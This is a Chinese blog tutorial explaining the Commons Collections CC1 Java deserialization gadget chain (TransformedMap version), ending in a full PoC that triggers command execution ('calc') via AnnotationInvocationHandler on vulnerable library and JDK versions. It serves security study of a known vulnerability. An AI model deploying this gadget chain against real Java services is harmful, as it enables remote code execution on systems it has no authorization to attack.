当前位置:   article > 正文

Java安全 反序列化(3) CC1链-TransformedMap版_cc1网络安全

cc1网络安全

Java安全 反序列化(3) CC1链-TransformedMap版

本文尝试从CC1的挖掘思路出发,理解CC1的实现原理

文章目录
  • Java安全 反序列化(3) CC1链-TransformedMap版
  • 配置jdk版本和源代码配置
  • 前记 为什么可以利用
  • 一.CC链中的命令执行
  • * 我们可以尝试一下通过InvokerTransformer.transform()执行命令
    
    • 1
    • 在CC链接口Transformer实现类中,我们重点关注几个实现类
    •   * 1.ConstantTransformer实现类
      
      • 1
      • 2.InvokeTransformer实现类
      • 3.ChainedTransformer实现类(链式,有想法吗)
    • 现在我们可以通过链式+反射调用任意命令
  • 二. CC1挖掘原理分析&Poc编写
  • 三.CC1完整利用链Poc
  • 反思总结

Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。

Commons
Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。

实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤

默认情况看不到AnnotationInvocationHandler类的源码,是因为jdk中没有sun包下的源码,需要手动下载该版本的openjdk源码

jdk版本及sun源码下载链接:https://pan.baidu.com/s/1JWjHsQpyhFt_KpPnt4aiwg?pwd=8888
提取码:8888

配置jdk版本和源代码配置

1.解压 jdk1.8.0_65.zip

2.解压jdk8-sun-source.zip 中class.rar中的sun源码

![image-20240321192340776](https://img-
blog.csdnimg.cn/img_convert/d77d325956f946f1fdfa6684dc13e16b.png)

3.替换 jdk1.8.0_65/src/中的sun文件夹

4.idea中添加源代码

![image-20240321192614244](https://img-
blog.csdnimg.cn/img_convert/16efe9c423b253f2b74ede2033d2c03c.png)

可以看到rt.jar包中任意源代码(而不是.class反编译文件),就是成功了

![image-20240321192756947](https://img-
blog.csdnimg.cn/img_convert/0f700040b034b801c63adc4d01f26651.png)

访问 https://mvnrepository.com/artifact/commons-collections/commons-
collections/3.2.1

⾸先在设置在pom.xml环境

  <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

安装commons-collections成功后,环境配置结束

现在正式学习Java反序列化 CC链

前记 为什么可以利用

Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用
Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons
Collections链(简称cc链)。

一.CC链中的命令执行

我们的最终的目的是利用CC链来进行RCE

一般执行命令 Runtime.getRuntime().exec("calc");

如此简单简洁,但是为什么我们不直接利用了?

![image-20240321141339891](https://img-
blog.csdnimg.cn/img_convert/f204d9b8151688b607167a7259f0150b.png)

因为我们最终要通过反序类化执行任意命令 但是Runtime没有实现Serializable接口,不可以被序列化

![image-20240321141444044](https://img-
blog.csdnimg.cn/img_convert/2ab451a04c27d592c3e19f0999e6e489.png)

这个过程中不可序列化

所以我们可以通过反射调用来进行反序列化

![image-20240321141640022](https://img-
blog.csdnimg.cn/img_convert/3f325f1b4c3538d5b848735103844562.png)

Class实现了Serialiable接口 可以实现序列化

 Class Runtime = Class.forName("java.lang.Runtime");
        Method getRuntime = Runtime.getMethod("getRuntime");
        Runtime runtime =(Runtime) getRuntime.invoke(null, null);
        Method exec = Runtime.getMethod("exec", String.class);
        exec.invoke(runtime, "calc");
  • 1
  • 2
  • 3
  • 4
  • 5

![image-20240321142217189](https://img-
blog.csdnimg.cn/img_convert/03b252816144bc67474c28d59fdfe0a7.png)可以通过反射执行任意命令

在上一篇文章中我们探究了 InvokerTransformer().transform()方法可以通过类似反射调用(invoke)任意函数

![image-20240321142507883](https://img-
blog.csdnimg.cn/img_convert/dab417e7644a947357fd04f965c5249a.png)

我们可以尝试一下通过InvokerTransformer.transform()执行命令

InvokeTransformer构造函数接受三个参数

![image-20240321142802109](https://img-
blog.csdnimg.cn/img_convert/0f8678da4960e09c7e0396c162253298.png)

  1. 1.String 函数名 exec
  2. Class[] 参数类型 String.class
  3. Object[] 具体参数值 calc

![image-20240321142932400](https://img-
blog.csdnimg.cn/img_convert/abc7b0d56c22a5b154c837fd2d38800d.png)

接受对象,对对象执行函数

        Runtime r=Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
  • 1
  • 2

仍然可以执行系统命令

![image-20240321143305158](https://img-
blog.csdnimg.cn/img_convert/ec0c803fe78add3b00510fd898fdac06.png)

在CC链接口Transformer实现类中,我们重点关注几个实现类

![image-20240321143855730](https://img-
blog.csdnimg.cn/img_convert/30568cc3b2a5904564be215172ba6a4a.png)

1.ConstantTransformer实现类

![image-20240321144237874](https://img-
blog.csdnimg.cn/img_convert/f95da5dd470a6e6fcf8c32239b266244.png)

注意,和transform传入的Object input的对象无关,仅仅返回构造函数Object constantToReturn 的对象
(这一点很重要,后面会应用)

2.InvokeTransformer实现类

前面探究过,通过反射调用任意的函数

相当于最后加了一个invoke方法调用

3.ChainedTransformer实现类(链式,有想法吗)

上篇文章具体调试过跟踪过ChainedTransformer的实现

![image-20240321145937494](https://img-
blog.csdnimg.cn/img_convert/f7d5feac77635b8fad5dba16cd088ea4.png)

构造函数接受Transformer[] 数组进行赋值

![image-20240321144628258](https://img-
blog.csdnimg.cn/img_convert/946d2575a6b05f3e0e21045b6fb4be5c.png)

我们可以简单理解为一个**迭代器 **的 链式的调用

后一个对象.transform(前一个对象的.transform方法返回的对象)

通过这个ChainTransformer实现类可以实现(一节更比三节强的观念)

通过ChainTransformer.transform可以把传入Transformer[]一一调用transform方法,而且实现了 对象的传递

现在我们可以通过链式+反射调用任意命令

        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        chainedTransformer.transform("aaa");
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

注意一点chainedTransformer.transform("aaa");aaa可以替换为任意值

先调用
ConstantTransformer.transform方法覆盖了传入的"aaa"返回Runtime.class对象(和transform传入的Object
input的对象无关,仅仅返回构造函数Object constantToReturn 的对象,回顾一下前面)

二. CC1挖掘原理分析&Poc编写

现在我们开始分析一下CC1是如何被发现和利用的,重点在于学习前人发现的思路

时刻记住我们的目的

这里我们先利用 单个InvokerTransformer

 Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
  • 1
  • 2

走一遍流程

我们要利用transform执行任意命令

可以查看什么地方应用了transform (这里偏向测试map)

因为Map作为键值对的映射关系可以包含任意类

![image-20240321172831230](https://img-
blog.csdnimg.cn/img_convert/cf5acde28648b9c1eb610a88f1475b8c.png)

可以利用的有DefaultedMap,LazyMap,TransformedMap

这里我们探究一下TransformedMap,其他下篇文章写

在TransformedMap中的protected方法(代表仅能被自身调用)checkSetValue传入

![image-20240321173045476](https://img-
blog.csdnimg.cn/img_convert/4f666cb58cf20306cf0ae5bef464d69c.png)

我们希望valueTransformer是Invocationformer对象 ,传入的Object value是Runtime对象

![image-20240321173524676](https://img-
blog.csdnimg.cn/img_convert/76388b0d9c88f0133de32e23957408fa.png)

构造函数进行传值,但是是protected仅能被自身调用,向上寻找

![image-20240321173648507](https://img-
blog.csdnimg.cn/img_convert/2fa6b79bb1d91bfa7d942791571b3fa2.png)

发现decorate的public 静态方法 可以返回 调用 构造方法

参数接受(Map map, Transformer keyTransformer, Transformer valueTransformer)

这里和keyTransformer 关系不大,可以设为空

        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashmap=new HashMap<>();
        hashmap.put("key","value");
        TransformedMap.decorate(hashmap,null,invokerTransformer);
  • 1
  • 2
  • 3
  • 4
  • 5

![image-20240321194103688](https://img-
blog.csdnimg.cn/img_convert/34b9dab8be2515a5402ad374bfe5e487.png)

等价于InvokerTransformer.transform()

现在控制checkSetValue(Object value)传入的值和调用checkSetValue(Object value)

查找用法

![image-20240321174418115](https://img-
blog.csdnimg.cn/img_convert/45690da485568c0c9366aeba34ea6744.png)

可以发现在AbstractInput中的镶嵌类MapEntry调用了checkSetValue方法

而AbstractInput恰好又是TransformedMap的父类

![image-20240321174636544](https://img-
blog.csdnimg.cn/img_convert/5ed7b1476f35243f850fbeb06de95fdd.png)

这里MapEntry类继承自AbstractMapEntryDecorator而AbstractMapEntryDecorator实现了Map.Entry的接口

![image-20240321174928785](https://img-
blog.csdnimg.cn/img_convert/d197ddd419ed9da585c025f9f5672272.png)

我们可以通过遍历TransformedMap的Entry实现调用setValue方法

原因:因为如果我们遍历TransformedMap的Entry调用setValue,子类继承了父类的public方法(setValue),而且实现了对Map.Entry方法的重写,可以实现调用setValue方法

调用的便是它的父类AbstractInputCheckedMapDecorator 类重写的setValue 方法,便会触发
checkSetValue方法 ,从而触发cc链1

因此编写payload

        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashmap=new HashMap<>();
        hashmap.put("key","value");
        Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);

        }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

传入的值是Runtime对象 等价实现InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transformer(Runtime.class)

但是我们如何实现在readObject的时候调用setValue方法

经过寻找我们发现 AnnotationInvocationHandler

![image-20240321193210784](https://img-
blog.csdnimg.cn/img_convert/178defe772f9940b1a87f4811652662e.png)

1.重写了readobject

2.调用了memberValue.setValue()

而恰好我们可以控制memberValues的值

![image-20240321193501905](https://img-
blog.csdnimg.cn/img_convert/5fa9532cdb90afd3cb67f18d7050e9d1.png)

这不是妥妥的入口类吗

这里接受两个参数Class<? extends Annotation> type, Map<String, Object> memberValues

Annotation是Java的注解,比如@Override重写等

但是我们只能 用反射操作入口类

![image-20240321193659400](https://img-
blog.csdnimg.cn/img_convert/1661a6abab00643a7ae67c5657605383.png)

因为这里没有修饰词,默认是default 只能通过在包内访问

分析一下readobject类

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();


    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

想要走到memberValue.setValue需要走过两个判断

![image-20240321194318106](https://img-
blog.csdnimg.cn/img_convert/e59423720e507b8acf1893677c047b59.png)

在 遍历memberValues.entrySet()的过程中

 String name = memberValue.getKey();//获取Map键值
            Class<?> memberType = memberTypes.get(name);//获取Java注解的类型
            if (memberType != null) {  
                Object value = memberValue.getValue();
  • 1
  • 2
  • 3
  • 4

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

获取了memeberValue键的值作为name,在注解中寻找等于注解的name的值

判断不为空即可

我们需要获取注解中存在键值对的注解,这里我们可以用 @Target

![image-20240321201203011](https://img-
blog.csdnimg.cn/img_convert/e1066147abf5fbfad484eddd33242cbc.png)

@Target 存在value的键 为了memberType 保证不为空,所以将hashmap.put("value","value");设为value

保证Class<?> memberType = memberTypes.get(name);//获取Java注解的类型可以保证memberTypes.get(name)可以获取到值

第二个if判断一定是可以通过的 member一定是存在的

![image-20240321202019584](https://img-
blog.csdnimg.cn/img_convert/54ba85203c899e3b26b5dce8447f0038.png)

这里setValue的值不可控,但是对我们利用完全不影响

虽然这里的setValue方法带一个初始值,但我们ConstantTransformer类的transform方法,不受参数影响,构造方法传入什么,就原封不动返回什么

第三次重复了

和传入setValue的值没有关系

我们将InvokerTransformer替换为ChainTransformer

尝试通过反射建构AnnotationInvocationHandler 类

![image-20240321203304350](https://img-
blog.csdnimg.cn/img_convert/cb35caf19d52337e109aebe99c01e9f0.png)

接受Class<? extends Annotation> type, Map<String, Object> memberValues

通过反射创建AnnotationInvocationHandler实例

       Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);
  • 1
  • 2
  • 3
  • 4

对annotationInstantce进行序列化后反序列化后执行命令

![image-20240321204608342](https://img-
blog.csdnimg.cn/img_convert/6474f7256a058e41f48cb6e06731986c.png)

成功手写CC1链的Poc

三.CC1完整利用链Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.instrument.TransformerManager;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        //Runtime.getRuntime().exec("calc");
//        Class Runtime = Class.forName("java.lang.Runtime");
//        Method getRuntime = Runtime.getMethod("getRuntime");
//        Runtime runtime =(Runtime) getRuntime.invoke(null, null);
//        Method exec = Runtime.getMethod("exec", String.class);
//        exec.invoke(runtime, "calc");
//        Runtime r=Runtime.getRuntime();
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//        ChainedTransformer chainedTransformer =(ChainedTransformer) chainedTransformer.transform("aaa");
//        Runtime r=Runtime.getRuntime();
//        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashmap=new HashMap<>();
        hashmap.put("value","value");
        Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
       Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);
        serialize(annotationInstantce);
        unserialize();


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }


    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66

以后遇到其他类似题,就可以参考Poc了

反思总结

核心概念

  1. 入口类必须重写readObject
  2. 通过不同类的同名方法进行跳转连接

下一篇我们从LazyMap出发实现RCE

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Li_阴宅/article/detail/779979
推荐阅读
相关标签